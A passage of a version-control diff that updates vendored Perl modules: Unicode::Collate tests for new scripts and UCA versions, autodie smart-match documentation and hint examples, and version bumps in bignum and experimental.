 sub ok ($;$) {
     my $p = my $r = shift;
@@ -41,17 +41,21 @@
 $objWo->change(level => 1);
 
 ok($objWo->lt("a", "a\x{300}"));
+ok($objWo->lt("az","a\x{300}"));
 ok($objWo->gt("b", "a\x{300}"));
 ok($objWo->lt("e", "e\x{301}"));
+ok($objWo->lt("ez","e\x{301}"));
 ok($objWo->lt("e\x{301}", "e\x{308}"));
 ok($objWo->gt("f", "e\x{308}"));
 ok($objWo->lt("n", "n\x{303}"));
+ok($objWo->lt("nz","n\x{303}"));
 ok($objWo->lt("n\x{303}", "\x{14B}"));
 ok($objWo->gt("o", "\x{14B}"));
 ok($objWo->lt("o", "o\x{301}"));
+ok($objWo->lt("oz","o\x{301}"));
 ok($objWo->gt("p", "o\x{301}"));
 
-# 12
+# 16
 
 $objWo->change(level => 2);
 
@@ -62,7 +66,7 @@
 ok($objWo->eq( "\x{14B}",  "\x{14A}"));
 ok($objWo->eq("o\x{301}", "O\x{301}"));
 
-# 18
+# 22
 
 $objWo->change(level => 3);
 
@@ -73,7 +77,7 @@
 ok($objWo->lt( "\x{14B}",  "\x{14A}"));
 ok($objWo->lt("o\x{301}", "O\x{301}"));
 
-# 24
+# 28
 
 ok($objWo->eq("a\x{300}", pack('U', 0xE0)));
 ok($objWo->eq("a\x{340}", pack('U', 0xE0)));
@@ -92,4 +96,4 @@
 ok($objWo->eq("O\x{301}", pack('U', 0xD3)));
 ok($objWo->eq("O\x{341}", pack('U', 0xD3)));
 
-# 40
+# 44

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/loc_yo.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/loc_yo.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/loc_yo.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..33\n"; }
+BEGIN { $| = 1; print "1..36\n"; }
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -41,16 +41,19 @@
 $objYo->change(level => 1);
 
 ok($objYo->lt("e", "e\x{323}"));
+ok($objYo->lt("ez","e\x{323}"));
 ok($objYo->gt("f", "e\x{323}"));
 ok($objYo->lt("g", "gb"));
 ok($objYo->lt("gz","gb"));
 ok($objYo->gt("h", "gb"));
 ok($objYo->lt("o", "o\x{323}"));
+ok($objYo->lt("oz","o\x{323}"));
 ok($objYo->gt("p", "o\x{323}"));
 ok($objYo->lt("s", "s\x{323}"));
+ok($objYo->lt("sz","s\x{323}"));
 ok($objYo->gt("t", "s\x{323}"));
 
-# 11
+# 14
 
 $objYo->change(level => 2);
 
@@ -60,7 +63,7 @@
 ok($objYo->eq("o\x{323}", "O\x{323}"));
 ok($objYo->eq("s\x{323}", "S\x{323}"));
 
-# 16
+# 19
 
 $objYo->change(level => 3);
 
@@ -70,7 +73,7 @@
 ok($objYo->lt("o\x{323}", "O\x{323}"));
 ok($objYo->lt("s\x{323}", "S\x{323}"));
 
-# 21
+# 24
 
 ok($objYo->eq("e\x{323}", "\x{1EB9}"));
 ok($objYo->eq("E\x{323}", "\x{1EB8}"));
@@ -79,6 +82,8 @@
 ok($objYo->eq("s\x{323}", "\x{1E63}"));
 ok($objYo->eq("S\x{323}", "\x{1E62}"));
 
+# 30
+
 ok($objYo->eq("e\x{323}\x{302}", "\x{1EC7}"));
 ok($objYo->eq("E\x{323}\x{302}", "\x{1EC6}"));
 ok($objYo->eq("o\x{323}\x{302}", "\x{1ED9}"));
@@ -86,4 +91,4 @@
 ok($objYo->eq("o\x{323}\x{31B}", "\x{1EE3}"));
 ok($objYo->eq("O\x{323}\x{31B}", "\x{1EE2}"));
 
-# 33
+# 36

Added: vendor/perl/dist/cpan/Unicode-Collate/t/nushu.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/nushu.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/nushu.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,73 @@
+
+BEGIN {
+    unless ('A' eq pack('U', 0x41)) {
+	print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+	exit 0;
+    }
+    unless (0x41 == unpack('U', 'A')) {
+	print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+	exit 0;
+    }
+    if ($ENV{PERL_CORE}) {
+	chdir('t') if -d 't';
+	@INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+    }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..185\n"; } # 5 + 12 x @Versions
+my $count = 0;
+sub ok ($;$) {
+    my $p = my $r = shift;
+    if (@_) {
+	my $x = shift;
+	$p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+    }
+    print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate;
+
+ok(1);
+
+#########################
+
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
+
+my $Collator = Unicode::Collate->new(
+    table => 'keys.txt',
+    normalization => undef,
+    UCA_Version => 36,
+);
+
+ok($Collator->viewSortKey("\x{1B170}"),
+   '[FB01 8000 | 0020 | 0002 | FFFF |]');
+ok($Collator->viewSortKey("\x{1B171}"),
+   '[FB01 8001 | 0020 | 0002 | FFFF |]');
+ok($Collator->viewSortKey("\x{1B200}"),
+   '[FB01 8090 | 0020 | 0002 | FFFF |]');
+ok($Collator->viewSortKey("\x{1B2FB}"),
+   '[FB01 818B | 0020 | 0002 | FFFF |]');
+
+# Nushu < CJK UI (4E00) < Unassigned.
+
+# 1B170..1B2FB are Nushu Characters since UCA_Version 36 (Unicode 10.0).
+
+for my $v (@Versions) {
+    $Collator->change(UCA_Version => $v);
+
+    ok($Collator->cmp("\x{1B16F}", "\x{4E00}") == 1);
+    ok($Collator->cmp("\x{1B170}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+    ok($Collator->cmp("\x{1B171}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+    ok($Collator->cmp("\x{1B1FF}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+    ok($Collator->cmp("\x{1B200}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+    ok($Collator->cmp("\x{1B2FB}", "\x{4E00}") == ($v >= 36 ? -1 : 1));
+    ok($Collator->cmp("\x{1B2FC}", "\x{4E00}") == 1);
+    ok($Collator->cmp("\x{1B2FF}", "\x{4E00}") == 1);
+
+    ok($Collator->lt("\x{1B170}", "\x{1B171}"));
+    ok($Collator->lt("\x{1B171}", "\x{1B1FF}"));
+    ok($Collator->lt("\x{1B1FF}", "\x{1B200}"));
+    ok($Collator->lt("\x{1B200}", "\x{1B2FB}"));
+}

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/overcjk0.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/overcjk0.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/overcjk0.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..513\n"; } # 6 + 39 x @Versions
+BEGIN { $| = 1; print "1..696\n"; } # 6 + 46 x @Versions
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -60,6 +60,7 @@
 # 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2).
 # 9FCC       is  CJK UI since UCA_Version 24 (Unicode 6.1).
 # 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0).
+# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0).
 
 # 3400..4DB5   are CJK UI Ext.A since UCA_Version 8  (Unicode 3.0).
 # 20000..2A6D6 are CJK UI Ext.B since UCA_Version 8  (Unicode 3.1).
@@ -66,8 +67,9 @@
 # 2A700..2B734 are CJK UI Ext.C since UCA_Version 20 (Unicode 5.2).
 # 2B740..2B81D are CJK UI Ext.D since UCA_Version 22 (Unicode 6.0).
 # 2B820..2CEA1 are CJK UI Ext.E since UCA_Version 32 (Unicode 8.0).
+# 2CEB0..2EBE0 are CJK UI Ext.F since UCA_Version 36 (Unicode 10.0).
 
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
 
 for my $v (@Versions) {
     $ignoreCJK->change(UCA_Version => $v);
@@ -90,8 +92,11 @@
     ok($ignoreCJK->cmp("\x{9FCF}", "") == ($v >= 32 ? 0 : 1));
     ok($ignoreCJK->cmp("\x{9FD0}", "") == ($v >= 32 ? 0 : 1));
     ok($ignoreCJK->cmp("\x{9FD5}", "") == ($v >= 32 ? 0 : 1));
-    ok($ignoreCJK->cmp("\x{9FD6}", "") == 1);
-    ok($ignoreCJK->cmp("\x{9FDF}", "") == 1);
+    ok($ignoreCJK->cmp("\x{9FD6}", "") == ($v >= 36 ? 0 : 1));
+    ok($ignoreCJK->cmp("\x{9FDF}", "") == ($v >= 36 ? 0 : 1));
+    ok($ignoreCJK->cmp("\x{9FEA}", "") == ($v >= 36 ? 0 : 1));
+    ok($ignoreCJK->cmp("\x{9FEB}", "") == 1);
+    ok($ignoreCJK->cmp("\x{9FFF}", "") == 1);
 
     # Ext.A
     ok($ignoreCJK->cmp("\x{3400}", "") == 0);
@@ -122,5 +127,11 @@
     ok($ignoreCJK->cmp("\x{2CEA1}","") == ($v >= 32 ? 0 : 1));
     ok($ignoreCJK->cmp("\x{2CEA2}","") == 1);
     ok($ignoreCJK->cmp("\x{2CEAF}","") == 1);
+
+    # Ext.F
+    ok($ignoreCJK->cmp("\x{2CEB0}","") == ($v >= 36 ? 0 : 1));
+    ok($ignoreCJK->cmp("\x{2EBE0}","") == ($v >= 36 ? 0 : 1));
+    ok($ignoreCJK->cmp("\x{2EBE1}","") == 1);
+    ok($ignoreCJK->cmp("\x{2EBEF}","") == 1);
 }
 

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/overcjk1.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/overcjk1.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/overcjk1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..258\n"; } # 11 + 19 x @Versions
+BEGIN { $| = 1; print "1..356\n"; } # 11 + 23 x @Versions
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -60,13 +60,15 @@
 
 #####
 
+# 4E00..9FA5 are CJK UI.
 # 9FA6..9FBB are CJK UI since UCA_Version 14 (Unicode 4.1).
 # 9FBC..9FC3 are CJK UI since UCA_Version 18 (Unicode 5.1).
 # 9FC4..9FCB are CJK UI since UCA_Version 20 (Unicode 5.2).
 # 9FCC       is  CJK UI since UCA_Version 24 (Unicode 6.1).
 # 9FCD..9FD5 are CJK UI since UCA_Version 32 (Unicode 8.0).
+# 9FD6..9FEA are CJK UI since UCA_Version 36 (Unicode 10.0).
 
-my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32);
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
 
 for my $v (@Versions) {
     $overCJK->change(UCA_Version => $v);
@@ -87,7 +89,11 @@
     ok($overCJK->cmp("a\x{9FCC}", "A\x{9FCD}") == ($v >= 32 ? 1 : -1));
     ok($overCJK->cmp("a\x{9FCD}", "A\x{9FCF}") == ($v >= 32 ? 1 : -1));
     ok($overCJK->cmp("a\x{9FCF}", "A\x{9FD5}") == ($v >= 32 ? 1 : -1));
-    ok($overCJK->cmp("a\x{9FD5}", "A\x{9FD6}") == -1);
-    ok($overCJK->cmp("a\x{9FD6}", "A\x{9FDF}") == -1);
+    ok($overCJK->cmp("a\x{9FD5}", "A\x{9FD6}") == ($v >= 36 ? 1 : -1));
+    ok($overCJK->cmp("a\x{9FD6}", "A\x{9FDF}") == ($v >= 36 ? 1 : -1));
+    ok($overCJK->cmp("a\x{9FDF}", "A\x{9FEA}") == ($v >= 36 ? 1 : -1));
+    ok($overCJK->cmp("a\x{9FEA}", "A\x{9FEB}") == -1);
+    ok($overCJK->cmp("a\x{9FEB}", "A\x{9FEF}") == -1);
+    ok($overCJK->cmp("a\x{9FEF}", "A\x{9FFF}") == -1);
 }
 

Added: vendor/perl/dist/cpan/Unicode-Collate/t/tangut.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/tangut.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/tangut.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,88 @@
+
+BEGIN {
+    unless ('A' eq pack('U', 0x41)) {
+	print "1..0 # Unicode::Collate cannot pack a Unicode code point\n";
+	exit 0;
+    }
+    unless (0x41 == unpack('U', 'A')) {
+	print "1..0 # Unicode::Collate cannot get a Unicode code point\n";
+	exit 0;
+    }
+    if ($ENV{PERL_CORE}) {
+	chdir('t') if -d 't';
+	@INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+    }
+}
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..380\n"; } # 5 + 25 x @Versions
+my $count = 0;
+sub ok ($;$) {
+    my $p = my $r = shift;
+    if (@_) {
+	my $x = shift;
+	$p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+    }
+    print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Collate;
+
+ok(1);
+
+#########################
+
+my @Versions = (8, 9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
+
+my $Collator = Unicode::Collate->new(
+    table => 'keys.txt',
+    normalization => undef,
+    UCA_Version => 34,
+);
+
+ok($Collator->viewSortKey("\x{17000}"),
+   '[FB00 8000 | 0020 | 0002 | FFFF FFFF |]');
+ok($Collator->viewSortKey("\x{17001}"),
+   '[FB00 8001 | 0020 | 0002 | FFFF FFFF |]');
+ok($Collator->viewSortKey("\x{18800}"),
+   '[FB00 9800 | 0020 | 0002 | FFFF FFFF |]');
+ok($Collator->viewSortKey("\x{18AF2}"),
+   '[FB00 9AF2 | 0020 | 0002 | FFFF FFFF |]');
+
+# Tangut < CJK UI (4E00) < Unassigned.
+
+# 17000..187EC are Tangut Ideographs since UCA_Version 34 (Unicode 9.0).
+# 18800..18AF2 are Tangut Components since UCA_Version 34 (Unicode 9.0).
+
+for my $v (@Versions) {
+    $Collator->change(UCA_Version => $v);
+
+    ok($Collator->cmp("\x{16FFF}", "\x{4E00}") == 1);
+    ok($Collator->cmp("\x{17000}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{17001}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{17FFF}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{18000}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{187EB}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{187EC}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{187ED}", "\x{4E00}") == 1);
+    ok($Collator->cmp("\x{187FE}", "\x{4E00}") == 1);
+    ok($Collator->cmp("\x{187FF}", "\x{4E00}") == 1);
+    ok($Collator->cmp("\x{18800}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{18801}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{18AF1}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{18AF2}", "\x{4E00}") == ($v >= 34 ? -1 : 1));
+    ok($Collator->cmp("\x{18AF3}", "\x{4E00}") == 1);
+    ok($Collator->cmp("\x{18AFF}", "\x{4E00}") == 1);
+
+    ok($Collator->lt("\x{17000}", "\x{17001}"));
+    ok($Collator->lt("\x{17001}", "\x{17002}"));
+    ok($Collator->lt("\x{17002}", "\x{17FFF}"));
+    ok($Collator->lt("\x{17FFF}", "\x{18000}"));
+    ok($Collator->lt("\x{18000}", "\x{187EB}"));
+    ok($Collator->lt("\x{187EB}", "\x{187EC}"));
+
+    ok($Collator->lt("\x{18800}", "\x{18801}"));
+    ok($Collator->lt("\x{18801}", "\x{18AF1}"));
+    ok($Collator->lt("\x{18AF1}", "\x{18AF2}"));
+}

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/version.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/version.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/version.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -34,8 +34,8 @@
 #########################
 
 # Fix me when UCA and/or keys.txt is upgraded.
-my $UCA_Version = "32";
-my $Base_Unicode_Version = "8.0.0";
+my $UCA_Version = "34";
+my $Base_Unicode_Version = "9.0.0";
 my $Key_Version = "3.1.1";
 
 ok(Unicode::Collate::UCA_Version, $UCA_Version);

Modified: vendor/perl/dist/cpan/Unicode-Collate/t/view.t
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/t/view.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/t/view.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict;
 use warnings;
-BEGIN { $| = 1; print "1..110\n"; } # 62 + 4 x @Versions
+BEGIN { $| = 1; print "1..174\n"; } # 62 + 8 x @Versions
 my $count = 0;
 sub ok ($;$) {
     my $p = my $r = shift;
@@ -268,26 +268,35 @@
 
 ##### 62
 
-my @Versions = (9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32);
+my @Versions = (9, 11, 14, 16, 18, 20, 22, 24, 26, 28, 30, 32, 34, 36);
 
 for my $v (@Versions) {
     $Collator->change(UCA_Version => $v);
     my $app = $v >= 26 ? ' |]' : ']';
+    my $sec = $v >= 36 ? '' : ' FFFF';
 
     $Collator->change(variable => 'Shifted', level => 4);
     ok($Collator->viewSortKey("1+2"),
 	'[0A0C 0A0D | 0020 0020 | 0002 0002 | FFFF 039F FFFF'.$app);
+    ok($Collator->viewSortKey("\x{4E02}"),
+	'[FB40 CE02 | 0020 | 0002 | FFFF'.$sec.$app);
 
     $Collator->change(variable => 'Shift-Trimmed');
     ok($Collator->viewSortKey("1+2"),
 	'[0A0C 0A0D | 0020 0020 | 0002 0002 | 039F'.$app);
+    ok($Collator->viewSortKey("\x{4E02}"),
+	'[FB40 CE02 | 0020 | 0002 |'.$app);
 
     $Collator->change(variable => 'Non-ignorable', level => 3);
     ok($Collator->viewSortKey("1+2"),
 	'[0A0C 039F 0A0D | 0020 0020 0020 | 0002 0002 0002 |]');
+    ok($Collator->viewSortKey("\x{4E02}"),
+	'[FB40 CE02 | 0020 | 0002 |]');
 
     $Collator->change(variable => 'Blanked');
     ok($Collator->viewSortKey("1+2"),
 	'[0A0C 0A0D | 0020 0020 | 0002 0002 |]');
+    ok($Collator->viewSortKey("\x{4E02}"),
+	'[FB40 CE02 | 0020 | 0002 |]');
 }
 

Modified: vendor/perl/dist/cpan/autodie/lib/autodie/exception.pm
===================================================================
--- vendor/perl/dist/cpan/autodie/lib/autodie/exception.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/autodie/lib/autodie/exception.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 use warnings;
 use Carp qw(croak);
 
-our $VERSION = '2.29'; # VERSION: Generated by DZP::OurPkg:Version
+our $VERSION = '2.29002';
 # ABSTRACT: Exceptions from autodying functions.
 
 our $DEBUG = 0;
@@ -195,12 +195,10 @@
 
     if ( $e->matches('open') ) { ... }
 
-    if ( $e ~~ 'open' ) { ... }
+    if ( 'open' ~~ $e ) { ... }
 
 C<matches> is used to determine whether a
-given exception matches a particular role.  On Perl 5.10,
-using smart-match (C<~~>) with an C<autodie::exception> object
-will use C<matches> underneath.
+given exception matches a particular role.
 
 An exception is considered to match a string if:
 
@@ -221,6 +219,18 @@
 
 See L<autodie/CATEGORIES> for further information.
 
+On Perl 5.10 and above, using smart-match (C<~~>) with an
+C<autodie::exception> object will use C<matches> underneath.  This module
+used to recommend using smart-match with the exception object on the left
+hand side, but in future Perls that is likely to stop working.
+The smart-match facility of this class should only be used with the
+exception object on the right hand side.  Having the exception object on
+the right is both future-proof and portable to older Perls, back to 5.10.
+Beware that this facility can only
+be relied upon when it is certain that the exception object actually is
+an C<autodie::exception> object; it is no more capable than an explicit
+call to the C<matches> method.
+
 =back
 
 =cut

Modified: vendor/perl/dist/cpan/autodie/lib/autodie/hints.pm
===================================================================
--- vendor/perl/dist/cpan/autodie/lib/autodie/hints.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/autodie/lib/autodie/hints.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 
 use constant PERL58 => ( $] < 5.009 );
 
-our $VERSION = '2.29'; # VERSION: Generated by DZP::OurPkg:Version
+our $VERSION = '2.29001';
 
 # ABSTRACT: Provide hints about user subroutines to autodie
 
@@ -115,8 +115,9 @@
 
 =head2 Example hints
 
-Hints may consist of scalars, array references, regular expressions and
-subroutine references.  You can specify different hints for how
+Hints may consist of subroutine references, objects overloading
+smart-match, regular expressions, and depending on Perl version possibly
+other things.  You can specify different hints for how
 failure should be identified in scalar and list contexts.
 
 These examples apply for use in the C<AUTODIE_HINTS> subroutine and when
@@ -125,16 +126,16 @@
 The most common context-specific hints are:
 
         # Scalar failures always return undef:
-            {  scalar => undef  }
+            {  scalar => sub { !defined($_[0]) }  }
 
         # Scalar failures return any false value [default expectation]:
             {  scalar => sub { ! $_[0] }  }
 
         # Scalar failures always return zero explicitly:
-            {  scalar => '0'  }
+            {  scalar => sub { defined($_[0]) && $_[0] eq '0' }  }
 
         # List failures always return an empty list:
-            {  list => []  }
+            {  list => sub { !@_ }  }
 
         # List failures return () or (undef) [default expectation]:
             {  list => sub { ! @_ || @_ == 1 && !defined $_[0] }  }
@@ -151,7 +152,7 @@
             \&foo,
             {
                 scalar => qr/^ _? FAIL $/xms,
-                list   => [-1],
+                list   => sub { @_ == 1 && $_[0] eq -1 },
             }
         );
 
@@ -159,8 +160,8 @@
         autodie::hints->set_hints_for(
             \&foo,
             {
-                scalar => 0,
-                list   => [0],
+                scalar => sub { defined($_[0]) && $_[0] == 0 },
+                list   => sub { @_ == 1 && defined($_[0]) && $_[0] == 0 },
             }
         );
 

Modified: vendor/perl/dist/cpan/autodie/t/exceptions.t
===================================================================
--- vendor/perl/dist/cpan/autodie/t/exceptions.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/autodie/t/exceptions.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,10 +19,10 @@
 };
 
 ok($@,			"Exception thrown"		        );
-ok($@ ~~ 'open',	"Exception from open"		        );
-ok($@ ~~ ':file',	"Exception from open / class :file"	);
-ok($@ ~~ ':io',		"Exception from open / class :io"	);
-ok($@ ~~ ':all',	"Exception from open / class :all"	);
+ok('open' ~~ $@,	"Exception from open"		        );
+ok(':file' ~~ $@,	"Exception from open / class :file"	);
+ok(':io' ~~ $@,		"Exception from open / class :io"	);
+ok(':all' ~~ $@,	"Exception from open / class :all"	);
 
 eval {
     no warnings 'once';    # To prevent the following close from complaining.
@@ -39,10 +39,10 @@
 like($@, qr{Can't close filehandle 'THIS_FILEHANDLE_AINT_OPEN'},"Nice msg from close");
 
 ok($@,			"Exception thrown"		        );
-ok($@ ~~ 'close',	"Exception from close"		        );
-ok($@ ~~ ':file',	"Exception from close / class :file"	);
-ok($@ ~~ ':io',		"Exception from close / class :io"	);
-ok($@ ~~ ':all',	"Exception from close / class :all"	);
+ok('close' ~~ $@,	"Exception from close"		        );
+ok(':file' ~~ $@,	"Exception from close / class :file"	);
+ok(':io' ~~ $@,		"Exception from close / class :io"	);
+ok(':all' ~~ $@,	"Exception from close / class :all"	);
 
 ok $@ eq $@.'',                 "string overloading is complete (eq)";
 ok( ($@ cmp $@.'') == 0,        "string overloading is complete (cmp)" );

Modified: vendor/perl/dist/cpan/autodie/t/lib/Hints_pod_examples.pm
===================================================================
--- vendor/perl/dist/cpan/autodie/t/lib/Hints_pod_examples.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/autodie/t/lib/Hints_pod_examples.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -17,17 +17,17 @@
 sub AUTODIE_HINTS {
     return {
         # Scalar failures always return undef:
-        undef_scalar =>    {  fail => undef  },
+        undef_scalar =>    {  fail => sub { !defined($_[0]) }  },
 
         # Scalar failures return any false value [default behaviour]:
         false_scalar =>    {  fail => sub { return ! $_[0] }  },
 
         # Scalar failures always return zero explicitly:
-        zero_scalar =>     {  fail => '0'  },
+        zero_scalar =>     {  fail => sub { defined($_[0]) && $_[0] eq '0' }  },
 
         # List failures always return empty list:
         # We never want these called in a scalar context
-        empty_list  =>     {  scalar => sub { 1 }, list => []  },
+        empty_list  =>     {  scalar => sub { 1 }, list => sub { !@_ }  },
 
         # List failures return C<()> or C<(undef)> [default expectation]:
         default_list => {  fail => sub { ! @_ || @_ == 1 && !defined $_[0] }  },
@@ -54,8 +54,8 @@
 autodie::hints->set_hints_for(
     \&foo,
     {
-	scalar => 0,
-	list   => [0],
+	scalar => sub { defined($_[0]) && $_[0] == 0 },
+	list   => sub { @_ == 1 && defined($_[0]) && $_[0] == 0 },
     }
 );
 
@@ -67,7 +67,7 @@
     \&re_fail,
     {
 	scalar => qr/^ _? FAIL $/xms,
-	list   => [-1],
+	list   => sub { @_ == 1 && $_[0] eq -1 },
     }
 );
 
@@ -77,8 +77,8 @@
 autodie::hints->set_hints_for(
     \&bar,
     {
-	scalar => 0,
-	list   => [0],
+	scalar => sub { defined($_[0]) && $_[0] == 0 },
+	list   => sub { @_ == 1 && defined($_[0]) && $_[0] == 0 },
     }
 );
 

Modified: vendor/perl/dist/cpan/bignum/lib/Math/BigFloat/Trace.pm
===================================================================
--- vendor/perl/dist/cpan/bignum/lib/Math/BigFloat/Trace.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/bignum/lib/Math/BigFloat/Trace.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 package Math::BigFloat::Trace;
 
-require 5.006;
+require 5.010;
 use strict;
 use warnings;
 
@@ -13,7 +13,7 @@
 
 our @ISA = qw(Exporter Math::BigFloat);
 
-our $VERSION = '0.47';
+our $VERSION = '0.49';
 
 use overload;                   # inherit overload from Math::BigFloat
 

Modified: vendor/perl/dist/cpan/bignum/lib/Math/BigInt/Trace.pm
===================================================================
--- vendor/perl/dist/cpan/bignum/lib/Math/BigInt/Trace.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/bignum/lib/Math/BigInt/Trace.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 package Math::BigInt::Trace;
 
-require 5.006;
+require 5.010;
 use strict;
 use warnings;
 
@@ -13,7 +13,7 @@
 
 our @ISA = qw(Exporter Math::BigInt);
 
-our $VERSION = '0.47';
+our $VERSION = '0.49';
 
 use overload;                   # inherit overload from Math::BigInt
 

Modified: vendor/perl/dist/cpan/bignum/lib/bigint.pm
===================================================================
--- vendor/perl/dist/cpan/bignum/lib/bigint.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/bignum/lib/bigint.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 package bigint;
 
-use 5.006;
+use 5.010;
 use strict;
 use warnings;
 
-our $VERSION = '0.47';
+our $VERSION = '0.49';
 
 use Exporter;
 our @ISA            = qw( Exporter );

Modified: vendor/perl/dist/cpan/bignum/lib/bignum.pm
===================================================================
--- vendor/perl/dist/cpan/bignum/lib/bignum.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/bignum/lib/bignum.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 package bignum;
 
-use 5.006;
+use 5.010;
 use strict;
 use warnings;
 
-our $VERSION = '0.47';
+our $VERSION = '0.49';
 
 use Exporter;
 our @ISA            = qw( bigint );

Modified: vendor/perl/dist/cpan/bignum/lib/bigrat.pm
===================================================================
--- vendor/perl/dist/cpan/bignum/lib/bigrat.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/bignum/lib/bigrat.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 package bigrat;
 
-use 5.006;
+use 5.010;
 use strict;
 use warnings;
 
-our $VERSION = '0.47';
+our $VERSION = '0.49';
 
 use Exporter;
 our @ISA            = qw( bigint );

Modified: vendor/perl/dist/cpan/experimental/lib/experimental.pm
===================================================================
--- vendor/perl/dist/cpan/experimental/lib/experimental.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/experimental/lib/experimental.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 package experimental;
-$experimental::VERSION = '0.016';
+$experimental::VERSION = '0.019';
 use strict;
 use warnings;
 use version ();
 
-use feature ();
+BEGIN { eval { require feature } };
